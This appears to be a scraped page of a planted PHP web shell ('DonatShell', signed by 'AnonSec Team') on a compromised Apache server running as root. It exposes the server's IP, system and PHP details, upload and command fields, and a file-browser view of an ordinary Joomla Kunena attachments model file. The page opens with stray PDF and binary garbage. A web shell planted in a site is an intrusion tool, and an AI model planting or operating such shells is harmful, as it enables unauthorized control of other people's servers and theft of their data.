%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/administrator/components/com_kunena/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/administrator/components/com_kunena/models/attachments.php
<?php
/**
 * Kunena Component
 * @package Kunena.Administrator
 * @subpackage Models
 *
 * @copyright (C) 2008 - 2014 Kunena Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link http://www.kunena.org
 **/
defined ( '_JEXEC' ) or die ();

jimport ( 'joomla.application.component.modellist' );

/**
 * Attachments Model for Kunena
 *
 * @since 2.0
 */
class KunenaAdminModelAttachments extends JModelList {

	public function __construct($config = array()) {
		if (empty($config['filter_fields'])) {
			$config['filter_fields'] = array(
				'id',
				'post',
				'username',
				'size',
				'folder',
				'filetype',
				'filename',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * @param string $ordering
	 * @param string $direction
	 * @return	void
	 * @since	1.6
	 */
	protected function populateState($ordering = null, $direction = null) {
		$this->context = 'com_kunena.admin.attachments';

		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		$layout = $app->input->get('layout');
		if ($layout) {
			$this->context .= '.'.$layout;
		}

		$filter_active = '';

		// List state information
		$filter_active .= $value = $this->getUserStateFromRequest ( $this->context .'.filter.search', 'filter_search', '', 'string' );
		$this->setState ( 'filter.search', $value );

		$filter_active .= $value = $this->getUserStateFromRequest ( $this->context .'.filter.title', 'filter_title', '', 'string' );
		$this->setState ( 'filter.title', $value );

		$filter_active .= $value = $this->getUserStateFromRequest ( $this->context .'.filter.type', 'filter_type', '', 'string' );
		$this->setState ( 'filter.type', $value );

		$filter_active .= $value = $this->getUserStateFromRequest ( $this->context .'.filter.size', 'filter_size', '', 'string' );
		$this->setState ( 'filter.size', $value );

		$filter_active .= $value = $this->getUserStateFromRequest ( $this->context .'.filter.dims', 'filter_dims', '', 'string' );
		$this->setState ( 'filter.dims', $value );

		$filter_active .= $value = $this->getUserStateFromRequest (  $this->context .'.filter.username', 'filter_username', '', 'string' );
		$this->setState ( 'filter.username', $value );

		$filter_active .= $value = $this->getUserStateFromRequest (  $this->context .'.filter.post', 'filter_post', '', 'string' );
		$this->setState ( 'filter.post', $value );

		$this->setState ( 'filter.active',!empty($filter_active));

		// List state information.
		parent::populateState('filename', 'asc');
	}

	protected function getStoreId($id = '') {
		// Compile the store id.
		$id	.= ':'.$this->getState('filter.title');
		$id	.= ':'.$this->getState('filter.type');
		$id	.= ':'.$this->getState('filter.size');
		$id	.= ':'.$this->getState('filter.dims');
		$id	.= ':'.$this->getState('filter.username');
		$id	.= ':'.$this->getState('filter.post');

		return parent::getStoreId($id);
	}

	protected function getListQuery() {
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		$query->select(
			$this->getState(
				'list.select',
				'a.id, a.mesid, a.userid, a.size, a.folder, a.filetype, a.filename'
			)
		);

		$query->from('#__kunena_attachments AS a');

		$query->select('m.subject AS post_title');
		$query->select('m.name AS user_title');
		$query->join('LEFT', '#__kunena_messages AS m ON m.id = a.mesid');


		//$query->join('LEFT', '#__kunena_messages AS u ON u.userid = a.userid');

		$filter = $this->getState('filter.title');
		if (!empty($filter)) {
			$title = $db->Quote('%'.$db->escape($filter, true).'%');
			$query->where('(a.filename LIKE '.$title.')');
		}

		$filter = $this->getState('filter.type');
		if (!empty($filter)) {
			$type = $db->Quote('%'.$db->escape($filter, true).'%');
			$query->where('(a.filetype LIKE '.$type.')');
		}

		// TODO: support < > and ranges
		$filter = $this->getState('filter.size');
		if (!empty($filter)) {
			$size = $db->Quote('%'.$db->escape($filter, true).'%');
			$query->where('(a.size LIKE '.$size.')');
		}

		$filter = $this->getState('filter.username');
		if (!empty($filter)) {
			$username = $db->Quote('%'.$db->escape($filter, true).'%');
			$query->where('(m.name LIKE '.$username.')');
		}

		$filter = $this->getState('filter.post');
		if (!empty($filter)) {
			$post = $db->Quote('%'.$db->escape($filter, true).'%');
			$query->where('(m.subject LIKE '.$post.')');
		}

		// Add the list ordering clause.
		$direction	= strtoupper($this->state->get('list.direction'));
		switch ($this->state->get('list.ordering')) {
			case 'title':
				$query->order('a.filename ' . $direction);
				break;
			case 'type':
				$query->order('a.filetype ' . $direction);
				break;
			case 'size':
				$query->order('a.size ' . $direction);
				break;
			case 'username':
				$query->order('m.name ' . $direction);
				break;
			case 'post':
				$query->order('m.subject ' . $direction);
				break;
			default:
				$query->order('a.id ' . $direction);
		}

		//echo nl2br(str_replace('#__','jos_',$query));
		return $query;
	}
}

Anon7 - 2022
AnonSec Team